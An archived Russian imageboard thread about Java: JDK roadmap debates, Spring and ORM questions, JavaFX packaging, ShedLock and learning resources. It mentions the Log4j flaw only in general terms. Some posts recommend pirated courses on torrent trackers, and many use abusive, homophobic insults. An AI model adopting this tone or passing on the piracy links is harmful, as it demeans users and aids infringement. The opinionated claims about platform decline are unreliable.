Это копия, сохраненная 11 июля 2022 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе.
Просто сравните джаву с .NET (https://devblogs.microsoft.com/dotnet/announcing-net-6/), который создавался как клон джавы и превратился в прекрасного лебедя
https://openjdk.java.net/jeps/408
Двигаются в правильном направлении.
>Лум когда
Леха Шипилев говорил осенью, что до лума еще далековато.
К слову, следующий LTS здесь предполагался как 23 версия. Сейчас сроки сократили и LTS должна стать уже 21 версия. Может как раз к 25 версии джавы и завезут полноценно этот лум.
>>232303
>Вальгалла когда?
А этого никто не знает. Но судя по мейл листам, они там что-то обсуждают, а значит вальгалла не заброшена.
Может быть как раз к 25 версии (через 4 года?) выкатят все их фичи, которые они пилили на протяжении последних 10 лет.
уже всё данным давно сделано в лучшей жабе
Да, отклеилась в новом треде
Предположу, что там, где джависты пишут на скале.
Попытка сделать серебряную пулю
Говорят в го в беке нужно велосипеды писать по сравнению со спрингом.
А чего там нету? Слышал только, что там без орм пишут.
Вопрос какой-то идиотский.
Могут быть книги либо по автоматизации, либо по джаве. Читаешь обе темы и связываешь. Любой язык это и есть автоматизация, блять.
Я и на ждаве без орм пишу. Заебок себя ощущаю. Доходило то того что писал самодельный днище-орм, правда. Когда надоело бомбить базу кучей однотипных круд-запросов
Т9 срезал текст, по автоматизации тестирования, прошу прощения
Нет, просто пишешь запрос в стрингу, хуяришь из него препаред стейтмент и пушишь на сервак, который в ответ тебе высирает рекорд-сет. Мякотка.
Никак. Драйвер и СУБД делают всю эту поебень для тебя (уж не знаю кто там из них рулит процессом, мне не приходилось вникать потому что ни разу с той стороны не появлялось каких-то проблем). Ты просто создаешь коннешкшен и держишь его сколько считаешь нужным, за время его существования ты можешь запустить сколько угодно отдельных транзакций произвольной длины. Можешь хоть на каждую транзакцию создавать новый коннекшен.
Олсо, если ты про работу одновременно с несколькими соединениями из одного треда или из соседних, то тоже не понимаю в чем там может быть проблема. Коннекшен это отдельный объект и вроде никакого статик-стейта разделяемого там нет, по крайней мере для клиентского кода.
Чел, ну причем тут ты. Ты может петы пишешь. Или просто ты единолично принимаешь решения по технологиям. Но в подавляющем большинстве спринговых вакансий есть орм и чаще всего это jpa-орм.
И чаще всего это хибер
Владимир Владимирович
Почему сраный оракл ебет мозг аудитории этими большими проектами уже 5 лет, но шарящие люди говорят, что еще 5 лет их не стоит ждать?
Зачем эти пидорасы все анонсируют и нихуя не выпускают?
for (...) {
int k = ...;
}
то это будет хуже, чем
int k;
for (...) {
k = ...;
}
из-за того, что каждый раз в цикле будет под переменную память выделяться?
Да вы заебали бля, с такими вопросами пиздуйте в кресты, это именно там высирают новые парадигмы, чтобы ускорить говно на 0.00000001%, а здесь это никого ебать не должно.
JIT оптимизирует, и разницы не будет
чел, все современные языки умеют очень много. И у каждого миллион потенциальных кейсов применения. Так то можно использовать хаскель на беке или делфи. Можно писать на жабке в блокноте. Можно вообще не использовать никаких бд. И все это можно делать в проде. "Необходимо" из-за ограничений языка не так много.
Но ведь нас интересуют типичные случаи. И твой случай с жабой без орм очень не типичен.
В том виде, что ты высрал, это вообще семантически разные конструкции.
В первом случае это локальная переменная внутреннего скоупа, она будет создаваться и инициализироваться всегда в одном значении - гарантировано.
Во втором ты можешь накапливать в К что-то от цикла к циклу, например внешний индекс для foreach.
Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво. Во-первых, у тебя все равно остается инструкция по ее обнулению, а во-вторых ты пытаешься программировать через побочные эффекты, а это как правило всегда хуёво, потому что порождает лапшу, которую становится трудно дебажить, исправлять и развивать. ну и в-третьих, этот >>232660 прав. Крайне трудно что-то выиграть у оптимизатора, который допиливали очень умные дяди 20 лет. Даже если ты начнешь байтодрочить то скорее всего сможешь с ним максимум сравняться, а не выиграть. Как-то раз пытался "оптимизировать" кусок кода который казался довольно вычислительно трудным через битовые сдвиги и булевские битовые операции. В итоге бенчмаркнув все это выяснилось что скорость одинаковая. После того забил на такие попытки.
>Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво.
В этом и был мой вопрос. Спасибо.
Потому что оракл сам по себе скатился в парашу и делает не продукты, а говно. Далеко ходить не надо - посмотрите на графики выручки гугла (govno), майкрософта (.net) и оракла. Оракл вообще не вырос за последние 10 лет никак. Туда же полудохлая IBM.
А чем больше денег у конторы и чем лучше она развивается, тем вероятнее, что у нее будут лучше продукты.
Анончики, как проектировать такое в базе? Предположим, есть админка, в которой можно менеджерить кнопки. К каждой кнопке можно добавлять экшены. Но экшены эти могут быть разные (вебхук по определенному урлу, оплата и прочее), соответственно и таблицы с данными могут быть разными.
У тебя уже нарисовано почти как надо. Каждый Action это какой-то один определенный Action, либо Payment, либо Webhook. Будет один к одному для них связь с Action, по action_id. Он же будет и PK для них, payment_action_id и т.п. не нужны.
Спасибо
мне из джавы нужно выбрать, кое-что умею по ней уже, и не хочется опять что-то новое учить, нужно хотя бы один язык добить
Новое придется и там, и там учить. Смотри, что больше хочешь делать
Тоже на перепутье. Пока что выбрал мобилки, потому что просто интереснее этим заниматься.
В плане перспективности, кмк, разницы нет. В будущем легко можешь свичнуться на бэк, если потребуется. Или уйти в иос, или вообще кроссплатформу делать. Кароче разницы вообще никакой. И там и там работы дофига. В этом случае только по интересу выбирать.
Тебе тогда в мойщики автомобилей или кассиры. Программист это одна из наиболее "учёбоемких" профессий. Либо ты учишься постоянно до конца карьеры чему-то, либо будешь червем-пидором на задворках индустрии, поддерживать какое-нибудь Delphi-7 говно на заводе полиэтиленовых стаканчиков с обвисшими обоями и протекающим потолком.
Эй, сейчас на заводах почти все ушли от делфи к дотнету
Вот скажи откуда тебе знать что легко свичнуться из мобилок в веб? Раз на перепутье, значит вкатун. Откуда вкатуну знать такое? Возможно но не легко дауншифтингом заниматься. Это как спуститься с горы сотыг, чтобы снова лезть вверх с уровня джуна.
Ему еще предстоит узнать, что на мобилках котлин основной язык уже лет пять и джаву он встретит только в легаси помоях
Что, оскорбили тебя, да? Бедняжечка какая, вы только посмотрите. Как выебываться на вкатуна, так он тут как тут, а как его оскорбляют от делает [пуксреньк]. Умора!
Чем слушать рандом-анона, лучше почитать в интернете уже готовые ответы. Например
https://dook.pro/blog/programming/19-moving-from-android-development-to-java-web-development
https://www.reddit.com/r/java/comments/6zjbwe/going_from_android_developer_to_java_developer/
https://www.reddit.com/r/androiddev/comments/7ntugq/how_relevant_is_android_experience_to_other/
Подскажите как сделать .exe? Юзается javaFX (и не только), если это важно.
Пробовал разные способы. Но ничего не вышло, кроме как насрать себе в штаны. Пробовал launch4j, который у меня не работает должным образом. После запуска .exe ничего не происходит, разве что прилично начинает грузиться процессор и крутиться колёсико загрузки рядом с курсором мышки. И если не убить процесс то ничего хорошего не последует.
Сам проект на java написан хорошо и протестирован. Всё как надо. В интернете, сами знаете, долбаёбы-советчики засрали тупыми гайдами как насрать себе в штаны.
Никак. Если тебе нужен полноценный исполняемый файл, ты выбрал не тот язык.
Можешь только юзануть jlink, у тебя будет папка с jvm и запускатором твоего жарника.
Ещё есть graalvm, но там не то что javafx - свинг не работает.
Это надеюсь ты читал https://openjfx.io/openjfx-docs/
Там слева выбираешь свой случай
Если юзаешь гредл, то с jlink плагином в одну кнопку и инсталлятор и ехе получаются
И там и там норм перспективы. Правда в андроиде придется сразу доучивать котлин.
Но ты лучше подумай, что тебе нравится. Большая часть андроида, это отрисовка гуя, то есть тот же фронт, но вид сбоку. А у бека - клепание крудов(запросов в бд) и отгрузка джейсонов на фронт.
Мне тупо фронт не нравится, я выбрал спринг. Но правда пришлось потом выучить основы html/css/js для более-менее вменяемых пет-проектов.
С билде с javafx основная сложность что его оракл выпилил из своего jdk + создал jpms который нужен для jlink. То есть навали сразу две кучи говна. Рекомендую сначала по ссылке разобраться с билдом хелоу ворлда и только потом ебаться со своим проектом.
Самое начало: di + mvc. Объяснено очень доходчиво для дебилов.
https://www.youtube.com/watch?v=5ePo08sqcpk&list=PLAma_mKffTOR5o0WNHnY0mTjKxnCgSXrZ
Полноценный курс, преподы вроде шарят, но многие не умеют говорить, так-что кое-что объяснено плохо. Но в плане курса есть все что нужно.
https://nnmclub.to/forum/viewtopic.php?t=1474084
Плохо написано, очень много устаревшего(но в джаве часто придется работать со старыми версиями библиотек). Не советую, но на всякий случай. Тоже охвачено почти все, что нужно новичку, но почти все примеры без бута.
https://rutracker.org/forum/viewtopic.php?t=5694169
Практика. К практике советовал бы переходить, после изучения mvc:
https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO
https://www.youtube.com/playlist?list=PLU2ftbIeotGqSTOVNjT4L3Yfy8jatCdhm
https://rutracker.org/forum/viewtopic.php?t=5640790
Для конкретных вопросов короткие туториалы с хеловордами:
Самая большая подборка всякого говна, не только спринг, очень полезно:
https://www.baeldung.com/
Тоже самое, но по русски и меньше. На этих двух ресурсах начинал учить хибер:
https://easyjava.ru/
https://sysout.ru/
Ну и гайды доки само собой:
https://spring.io/guides
Натыкался на другие места. Но зашли эти. Везде можно скачать код. Или с гита или архивом.
Да уж, загадка века.
Спасибо анон, обдумаю все, сейчас разработчик Bi, но думаю перекатываться, а то как-то уныло здесь
Data генерит RequiredArgsConstructor. А RequiredArgs генерит конструктор для final и NonNull полей. Тк таких не имеется, должен сгенериться пустой конструктор
в идее есть деломбок
> работа стабильно будет
Так и на заводике стабильно будет. Че в 2021 мало языков, на которых можно найти работу? Наоборот джава настолько древнее и тупое говно, что в скором времени все сайты начнут потихоньку перепиливать и через лет 15 будешь бомжевать. Не думаешь же ты всерьез что на этом говне легаси просуществует еще хотя бы 20 лет
И если это единственный фактор - или в джаваскрипт, вот уж что точно не вымрет за сотню лет
Во fleet та же идея, только либо у тебя (и так же не запускается), либо на сервере у китайцев, которые воруют твой код, и при этом любое действие в редакторе имеет задержку ~500мс.
Ну хуй тебя знает, в инторнетах каждый горазд пиздеть. Вдруг у тебя в винде поломались обновляения и винда постоянно их качает и шуршит диском. Или ты пямять неудачно воткнул в слоты. Иди ссд пошел по пизде уже. Да мало ли чо, а ты винишь идею.
А что ещё винить, если всё летает, игры играются на максималках, браузер с 50 вкладками запускается мгновенно, а идея не может переварить даже хеллоуворлд на спрингбуте.
нетхак запускается на максималках, интернет эксплорер 7 с 50 вкладками запускается мгновенно...
Да, охуенно сидеть на xp в 2021.
В Университете.
>в скором времени все сайты начнут потихоньку перепиливать
Слышу это уже наверное лет 15, если не больше...
Пропустил выпуск 17 лтс.
1) То есть сейчас по умолчанию все классы имеют strictfp? Это не уменьшило точность вычислений?
2) Какой сейчас новый рандом юзать в обычных случаях? Или оставаться на ThreadLocalRandom.current()
С 500 может и сложнее, а 300 это сейчас что-то вроде нижней границы для сеньора, так что определенно была
Спасибо, схоронил. Как раз курс Алишева досмотрел и не знал что дальше делать.
8 гб, кора дуба, внешний хдд, всё работает
первый плейлист практики с фронтом на шаблонизаторе.
https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO
Самое оно тебе сейчас заточить. На шаблонизаторе не советовал бы заострять внимание, просто повторяй за челиком. Ну и то что не понимаешь спринг дату, спринг бут и прочее тоже ничего страшного, повторяй за ютубером, крути, верти. Потом теорию, потрогав это в режиме магии проходить будет легче.
>>233642
Начинал это смотреть. В сравнении с Алишевым выбесило что он вообще ничего не говорит что делает зато у Алишева бесит что он одно и то же может повторять три раза и рассказывает даже то что и собаке понятно, в итоге как показалось все часы его видео не дают и 5% объема нужных знаний, просто копипастит из спринг мануала или набивает со словами "забейте, пока понимать ниче не надо, ваше дело увидеть что все работает, потом разберемся по ходу". Может конечно я ровно 3 минуты не дошел до того места где наконец начнет хоть что-то поясняться, но пока дропнул до лучших времен этот плейлист.
мимо-другой-вкатыш
Я на курсере уже парочку "официальных" курсов прошел и насколько же это приятный язык. Лаконичный стиль и вся встроенная библиотека работает без сюрпризов.
Че за хуйня? Почему какой-то логгер не просто выводит информацию в лог-файл или консоль, а еще дополнительно скачивает классы с байткодом из интернета? Нахуя так придумано?
Зачем и кому вообще нужен этот jndi и удаленный запуск чужого байткода?
Вот только в Джаву вкладывается еще куча компаний. И РедХат, и Гугл, и даже сам Майкрософт. А у дотнета нет такого большого списка контрибуторов.
Вот только редхат (теперь уже часть IBM) падает вниз вместе с самим IBM. А оркал вообще не растет.
Для гугла и MS, джава, очевидно, не самая приоритетная платформа на сегодняшний день.
Сейчас почти везде уходят с Oracle DB и MySQL на Postgres, их клауд платформа популярной так и не стала - AWS и GCP тут лидеры, на джаву они почему-то решили забить, а что еще они делают? ИМХО, их БД была топом в 90-е и нулевые, на нее всякие банки и энтерпрайзы перешли, но сейчас те времена закончились, буквально везде и у каждого стоит postgres.
IBM вообще сдох сейчас, считайте можно поминки собирать. Оракл как-то пытается в рост, но получается так себе.
Гугл и МС, конечно, нихуево так выросли за последние годы.
>2k21
>Оценивать прибыль по капитализации
Но даже если Мелкософт прибыльная компания, это не значит что они будут массово вбухивать деньги в дотнет. Они давно ушли от стратегии обязательно разрабатывать свой велосипед. Вон похоронили свой EdgeHTML в пользу Хрома, сейчас активно развивают питон и WSL. Так что далеко не факт, что они будут вкладывать сильно много в дотнет. У них сейчас главную прибыть облако генерирует, а там дотнет не особо нужен.
Гугл стабильно в топ3 контрибуторов. У них джава основной язык для написания бекенда не веришь, приди к ним на интервью и спроси сам
Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.
У гугла много всего было написано на джаве, да, даже включая фронтенд GWT. Сейчас они в пользу С++ и гоуленга отказались от жабы.
>>233790
Да, и у нетфликса тоже, но не забывай, что hystrix и все что с ним связано, уже как пару лет депрекейтнули, на чем сейчас там пишут - не в курсе.
Но факт остается фактом, что JVM как платформа начала конкретно загибаться.
К тому времени пхп станет жавой, со знаком доллара перед переменной, что символизирует изменчивость гешефта...
PHP, Java, .NET - это все уже уходящая эпоха. Ну может дотнет поболтается еще несколько лет и отправится в историю вместе с джавой, как это уже происходило с делфи.
Сейчас на беке будет golang, node.js и python, ибо микросервисы, быстрый старт, малый оверхед по памяти.
>Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.
А у ГОвна основной контрибутор Гугл, а уж как Гугл умеет хоронить проекты мы все знаем. А у Питона вообще не было такого контрибутора до недавнего времени и тем не менее он очень неплохо развивался.
>Сейчас они в пользу С++ и гоуленга отказались от жабы.
На С++ только системные вещи пишутся типа баз данных и файловых систем. Бизнес приложения на жабке. А вот Говна они похоже наелись ни ООП нормального, ни функционально подхода в полный рост.
>Но факт остается фактом, что JVM как платформа начала конкретно загибаться.
Про это уже лет 10 пишут. И все аргументы из серии а вот сисярпе ууу, а вот в питоне ааа. Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв.
Не будет микросервисов ибо они все велосипеды, а велосипеды способны только большие компании содержать. Посмотрят кабаны, когда велосипеды станут вонючим легаси, что их никто не хочет поддерживать и разочаруются и вернутся на жирные фреймворки для новых проектов. Да будет так...
>Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв
Так с Java 8 все развитие остановилось по факту. Ну да, там новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет? ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут? Это самые важные нововведения в жабе, которые должны были быть уже 17 lts версии.
>>233813
Но тем не менее на микросервисах стали писать уже на жабе. И вообще сейчас все стартуют на микросервисах. А то, что весь этот набор сервисов и костылей из говна и палок превратится в тяжело поддерживаемое легаси - никого не ебет, просто сдохнет один стартап или умрет продукт в какой-нибудь большой конторе, всем тотально похуй. Как будто бы большая часть продуктов реально приносит прибыль, а не просто создана для сбора инвестиций от всяких кабанов, которым лишь бы деньги куда-нибудь запихнуть.
Может они боятся что эти крупные проекты все сломают нахер, как получилось с ненужным джигсау.
Конструкция
when(addressService.deleteAddress(address).then(addressList.remove(address))
Шлет меня нахуй по понятным причинам,как провернуть такой тест? Или же как лучше тестировать делит метод сервиса
Если ты тестируешь deleteAddress у сервиса, то тебе не нужно его мокать. Мокать нужно то, что вызывается в этом методе, но сам метод должен быть настоящим
Звучит разумно,как это реализовать подскажите пожалуйста
15 лет назад ясен хуй было еще рано, еще лет 7 и ПОЧАЛОСЯ
Многие вкаиывальщики увидят тут проявления слабохарактерности. Тупым детям невдомёк, что учиться самостоятельно и на курсах — это разные вещи.
Сайт отличный, всем рекомендую к приобретению.
Всё это, как водится, реклама.
>foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет?
Нет не хуйня, для хайлоода это важные вещи. То что раньше ручками в offheap ByteBuffer складывали или через Unsafe хакали - теперь делается через нормальный API, с поддержкой JIT и типобезопасности. ZGC показывает отличный перфоманс на огромных хипах. Векторное API добавили. Плюс там есть внутренний рефакторин, типа тех же сокетов. Граль уже более стабильный, мы в конторе уже начинаем тесты нативных сборок.
>ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут?
Да нет, но тут нужно сделать так чтобы не поломать нахер все. Они сами себя загнали в ловушку с этими релизами каждые пол года. Если бы остановили разработку других фич и все силы на Лум бросили, то наверное и за год бы сделали. Но когда у тебя постоянно добавляются новые фичи в GC, очень сложно делать такие вещи как Лум или Вальгала.
Можно подумать что в дотнет какие-то глобальные фичи добавляются каждый день. Если посмотреть What's new in .NET https://docs.microsoft.com/en-us/dotnet/core/whats-new/dotnet-6 - там сплошь новый сахар для сисярпа и всякая мелоч типа тут улучшили перфоманс, тут у нас новый кодген, а в некоторых релизах вообще только сахар и никаких изменений в рантайме.
Или у нас Говно фонтанирует большими новыми фичами? Да тоже нет https://go.dev/doc/go1.17 напилили какой-то херни для стрельбы в ногу и всё а рантайм вообще не менялся.
Или может в жопаскрипт нормальную типизацию подвезли тайп скрипт это такие же костыли как и дженерики в джаве?
> новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ
Откуда ты всё это знаешь? Где ты эту информацию берёшь?
Не задавай лишних вопросов.
Хватит на дваче сидеть,или вкатышам помоги
В JDK каждый релиз вносят улучшения в JIT. Но местные иксперты все равно рассказывают, что джава не равивается и вообще нужно на сисярп/говно/жопаскрипт переходить.
Они траллят просто.
Все равно никто не использует новые версии, а сидят на 8.
>нужно на сисярп/говно/жопаскрипт переходить
Да, нужно
Так он ине будет ничего пояснять. Просто трогаешь технологии в режиме магии, а потом их изучаешь в другом месте.
Ну и нахуй их тогда трогать вообще? Трогай сразу где будешь изучать. У Алишева например довольно полное погружение с пояснениями, хоть в итоге и охвачен какой-то мизер, но зато нормально +/-
Голову включи
Ресурсы ридонли
Если это какие-то стандартные аватарки, которые надо показывать и не надо изменять, можно и в ресурсы. Но если юзеры могут грузить свои, ла, придётся создавать папку и брать путь к ней из какого-нибудь конфига. Или хранить аватарки в БД.
Понял.
Очевидный бэкдор, не зря это говно полтора калеки юзало
Все что?
Нет, не всё. Анало говне т.
Допустим, моя таска выполняется каждые 5 минут, выполнение этой таски занимает 1 секунду. Что надо писать в эти поля, чтобы другие инстансы не выполняли эту же самую джобу?
>Ноды, экземпляры приложения, количество одновременно запущенных копий, называй как хочешь
И как ты их синхронизируешь между собой?
>чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс
Благодарю за объяснение! Сколько лет в профессии, если не секрет?
Ну так озаботься этим вопросом. Ответ на твой изначальный вопрос получишь автоматически.
Не я забочусь этим, к счастью, а лид. Мне достаточно настроить ShedLock, нахуя мне конкретно в этой задаче балансировщики? Или ты предлагаешь через Zookeeper или другую хуйню это делать? Сразу нет – лока будет в таблице в БД постгрес
> нахуя мне конкретно в этой задаче балансировщики?
А нахуя тогда вам несколько инстансов одного приложения, ололош?
Не совсем понял твой вопрос. https://javadoc.io/doc/net.javacrumbs.shedlock/shedlock-core/latest/index.html
Нет, у меня только Эдипов комплекс.
Ну у нас в помойном легаси энтерпрайз-банке уже джава 15 с микросервисами и вебфлюхом есть. Да, местами на 8 все еще сидим, но готовимся к переезду на новые версии
Понятно, значит просто услышал хайповое слово и повторяешь, а сам даже не представляешь, как оно работает.
Очередной вид троллинга в джава треде?
> а сам даже не представляешь, как оно работает.
А ты всегда прежде чем заюзать новую либу, идёшь в спецификацию и документацию и изучаешь их?
Разумеется. Не досконально, но как минимум на общем уровне я имею представление как работает то, что я использую.
В основе используется пуш модель.
Очень грубо говоря, это выглядит так: ты говоришь (например монге) дай мне вот это, и когда будет результат, сделай вот это. Из таких вещей строится пайплайн, который делает различные модификации данных в потоке. Как итог, тебе не нужно блокировать поток, пока ты ждёшь результат твоего запроса, и в это время он может выполнять другую полезную работу
покормил
Да, когда поступает одновременно много запросов в секунду.
Это альтернатива коллбекам. на сайте реактора даже примеры с коллбеками есть
По хттп ты можешь стримить данными. Получается что-то вроде sse, только со своей спецификацией и возможностью строить такой реактивный стрим через несколько микросервисов, например
Где-то в руководстве решают. CTO/техлиды выбивают деньги и время на это. Но в целом и так очевидно, если версию жабы не перекатывать, то в банках до сих пор бы писали на java 1.4, а скорее всего и вовсе на коболе.
Архитекторы, которые сидят где-то наверху, либо говорят, что надо обновить какую-нибудь технологию на более новую версию, либо могут объявить технологию "нецелевой" и сказать, что надо отказаться от её использования по таким-то и таким-то причинам. Спорить с ними очень сложно, можно только согласовать сроки миграции. Инициатива об отказе от EE-говна и переката на спринги и микросервисы идёт именно от них хотя на более модный стек легче найти разрабов.
Джава мертва, нужно перекатываться на .net6
Все адекватные люди юзают logback
java is dead
oracle is dead
ibm is dead
red hat is dead
java - технология давно минувшего прошлого
Это нихуя не проблема, реальная проблема, что в теории последние несколько лет энтерпрайз на джаве стоял голый перед всякими китайскими хацкерами. Масштабы пиздеца представили?
Тебе через лаунчер должны предложить обнову
Зарепортил.
Как раз из-за того, что этот тред раз в пару месяцев на неделю и вылезает из бамплимита и стимулирует троле-дебичей тут срать всю эту неделю.
Да - одно и то же. Если пишешь на ООП, то это java, а если пишешь скрипты, то javascript.
Раньше вроде по 500 и перекатывались. От троллинга это не спасало
Пишите в тред с сажей тогда, чтобы не всплывал и троллей не приманивал.
Та, id которой нет в БД? Вроде кажется логичным (как ещё определять, есть сущность или нет?), но баелдунг пишет, что persist с уже имеющейся (что бы это ни значило) сущностью бросает эксешпен сразу же на вызове, не дожидаясь flush или commit. Получается, JPA как-то сразу, до запроса к базе выясняет, есть ли эта сущность в ней или нет? Как?
Ты хоть один туториал по спринговым рест-контроллерам читал, или наугад всё пишешь?
> @Controller
@RestController
> @PostMapping(value = "test", produces = {"text/html; charset=UTF-8"})
@PostMapping("test")
> public void test() {
public String test() {
> System.out.println("Ты пидор");
return "Ты пидор";
На собесах любят ебать мозги хибером. Меня на нескольких заставляли вспоминать методы энтитименеджера, хотя я всегда пользовался только спринг-датой.
Я туда щас все подряд перебором пишу , потому что я 403 получаю при любом раскладе.
> любят ебать мозги хибером
если вспомнишь методы и аннотации хибера будут ебать мозг медодами jpa
ну мне так на форчане сказали, а вобще это фича
В общем это spring security блокировал пост запросы. Подскажите как csrf настроить что бы он не блочил пост запросы.
Просто в чат пишешь эту ссылку и она запускает любой жаба код с твоего сервера
https://www.youtube.com/watch?v=5-GkpxbZ9Zw
Даже доклад про кваркурс и тот превратили в говно с шутками-прибаутками от ведущих. Платформа jvm чтоли сдохла окончательно? На cpp russia и zero cost conf от яндекса и то уровень докладов был в разы выше.
А что ты хотел услышать на докладах? В С++ так-то новый стандарт подвезли совсем недавно с новыми фичами, а в джаве что? Доклады ранних лет были годными, потому что в java 8 появилось много новых фич + была потребность в докладах по кишочкам спринга и jmm. Был конкретный запрос - были доклады по конкретной теме. Сейчас же конференцию вроде как и нужно провести, а докладывать нечего. Спринг 6 выйдет через год, но на него очень мало кто перейдет, лума и вальхаллы еще очень долго не будет, кваркус и микронавт никогда не смогут занять нишу спринга, а про всякие паттерг матчинги и большие строки рассказывать на докладе смысла особо-то и нет.
Странно, что рабочий exe не вышло сделать. Только батник.
Кстати, как запускают в продакшене программы с javafx под виндой?
> Странно, что рабочий exe не вышло сделать. Только батник.
Конечно не вышла, jlink такого не умеет.
> Кстати, как запускают в продакшене программы с javafx под виндой?
Либо через батник, который запускает жарник через java.exe, либо пишут на плюсах/шарпе экзешник, который делает то же самое.
>на вид все 40+.
А что в этом такого? Опытные дядьки. Есть вероятность, что будет минимум шуток и больше полезной информации.
Я просто подумал, что можно сделать exe не только через launch4j (Который так мне не смог этого сделать).
>либо пишут на плюсах
Хыыы. Так и сделал.
>Есть вероятность, что будет минимум шуток и больше полезной информации
Не, нихуя. Тот же доклад про кваркус в говно превратили. Ну и обсуждение фич, которые не вышли в 17 версии тоже получилось не обсуждением, а скорее цирковым представлением.
Да и даже если 40+, то не страшно. Я просто там совсем каких-то деда и бабку увидел в докладе про jakarata ee, там и просмотров было меньше всего. Страшно то, что докладов нормальных нет нихуя. Ну вот вообще кал полный. Раньше хоть леха шипилев и борисов что-то годное представляли, а сейчас дно полнейшее.
Спроси в крестотреде.
Да у нас вообще с обучением беда. Чего стоят только переводные книжки с вырезанными главами. Или сколько генерируют бесконечного потока инфо шума.
Чтобы научиться нужно жизнь на алтарь положить. И всё равно найдутся умники, которые посчитают своим долгом обесценить твои труд, умения или знания.
Но вообще странно ожидать, что каждый спикер будет представлять умопомрачительные технологии.
Только на нем написаны самые жрущие память проги/игоры. Страшно представить что это еще с экономией.
yobaMethod() {
yobaService.callAsyncYoba();
//тут надо поймать исключение, которое выбрасывается в другом потоке
}
Могу ли я обернуть yobaService.callAsyncYoba() в какой-нибудь Mono или CompletableFuture и сделать вызов синхронным?
Да, страшно представить, какие мощные суперкомпьютеры понадобились бы, чтобы запустить эти проги/игры, если бы их написали на жабе. Одна IDEA чего стоит.
Братишка, ты доку-то читал своей херни? Там же всё написано. Если выполнение таски занимает 1 секунду с перерывом 5 минут, то ставь lockAtMostFor где-нибудь на 4 минуты 58 секунд, чтобы если года наебнулась она освободила лок перед тем как другая таска запустится. Min видимо можно не ставить, потому что за 1 секунду ноды должны засинкаться. Но если хочется поставь пару секунд, чтобы таска точно успела выполниться
You can also set lockAtMostFor attribute which specifies how long the lock should be kept in case the executing node dies. This is just a fallback, under normal circumstances the lock is released as soon the tasks finishes. You have to set lockAtMostFor to a value which is much longer than normal execution time. If the task takes longer than lockAtMostFor the resulting behavior may be unpredictable (more than one process will effectively hold the lock).
If you do not specify lockAtMostFor in @SchedulerLock default value from @EnableSchedulerLock will be used.
Lastly, you can set lockAtLeastFor attribute which specifies minimum amount of time for which the lock should be kept. Its main purpose is to prevent execution from multiple nodes in case of really short tasks and clock difference between the nodes.
Странно, ведь если следовать гаду по ссылке получается рабочий ехе.
> Как можно заблокировать метод, внутри которого выполняется асинхронный запрос через WebClient?
Заблокировать всмысле поток или для синхронизации?
> //тут надо поймать исключение, которое выбрасывается в другом потоке
Выбрасывается в callAsyncYoba? Если он вовзращает фьючер, просто await в yobaMethod вызови и все
Jpa - спецификация по работе с бд и орм
Spring data - дата-фреймворк спринга, который упрощает работу с jpa
Jdbc template - обёртка над дефолтным jdbc, который упрощает работу с jdbc
Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций и когда какой уровень выбирать при написании кода, который работает с БД. Постоянно попускают на собеседованиях на этой теме.
> Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций
Любую статью хоть на википедии.
> когда какой уровень выбирать при написании кода, который работает с БД.
Всегда во всех проектах использовать read committed. Для данных, которым в ходе транзакции меняться нельзя, использовать select for update/dbms_lock.
Lombok используется в реальных проектах или это плохая практика?
>>235647
Кроссплатформа кроме десктопа, но там тоже делают фреймворк для windows/mac os
https://habr.com/ru/company/gms/blog/594921/
https://qna.habr.com/q/1087480
жду оправданий
Ломбок используется. Но на легаси не встречал
С подключением, .нет кор на всех трёх платформах работает уже 10 лет. Что гуй, что их серверные фреимворки
Спринг дата не упрощает спецификацию. Она оборачивает ее и предоставляет свой интерфейс, чтобы тебе было быстрее и проще писать запросы в базу
Да, именно на этом и основаны CompressedOops https://wiki.openjdk.java.net/display/HotSpot/CompressedOops
А в крестах используют для хранения всякой экстра информации об объекте по ссылке типа hazard pointers.
>А надо присваивать null ненужным обьектам, чтобы экономить память?
Полям - нужно, локальным переменным - обычно нет, потому что нормальный метод должен выполниться быстро и все локальные переменные будут освобождены и без тебя.
Скорее всего это было что-то универсальное https://docs.oracle.com/cd/E19747-01/819-0076/jndi.html уже из коррбки там есть куча всего.
Они купили проект моно и назвали его кор, но прикрутить всё, чтобы во дотнет фреймворке, не смогли.
Если что-то написал не так, прошу не кидать камнями, я еще только учусь
Так у Моно же другая кодовая база. Получается что JIT, GC и прочие системные вещи в .Net Core свои, не те что в обычном .Net Framework? Или они уже портировали?
Это две совершенно разные платформы. Если написал программу на фреймворк, то она не запустится на кор и наоборот. На машины ставятся две платформы, если надо и то и то запускать.
У пользователя будет поле "роль" (или список ролей), соответствующее твоему енуму. При любых действиях проверяешь, есть ли у юзера нужная роль, если нет, ругаешься.
Обычно для такого юзают Shiro или Spring Security, но если у тебя проект без либ и фреймворков, пиши всё руками.
Большое спасибо!
log4j дырявый с 2013 года был пока зумеры майнкрафт не начали прямо из чата ломать
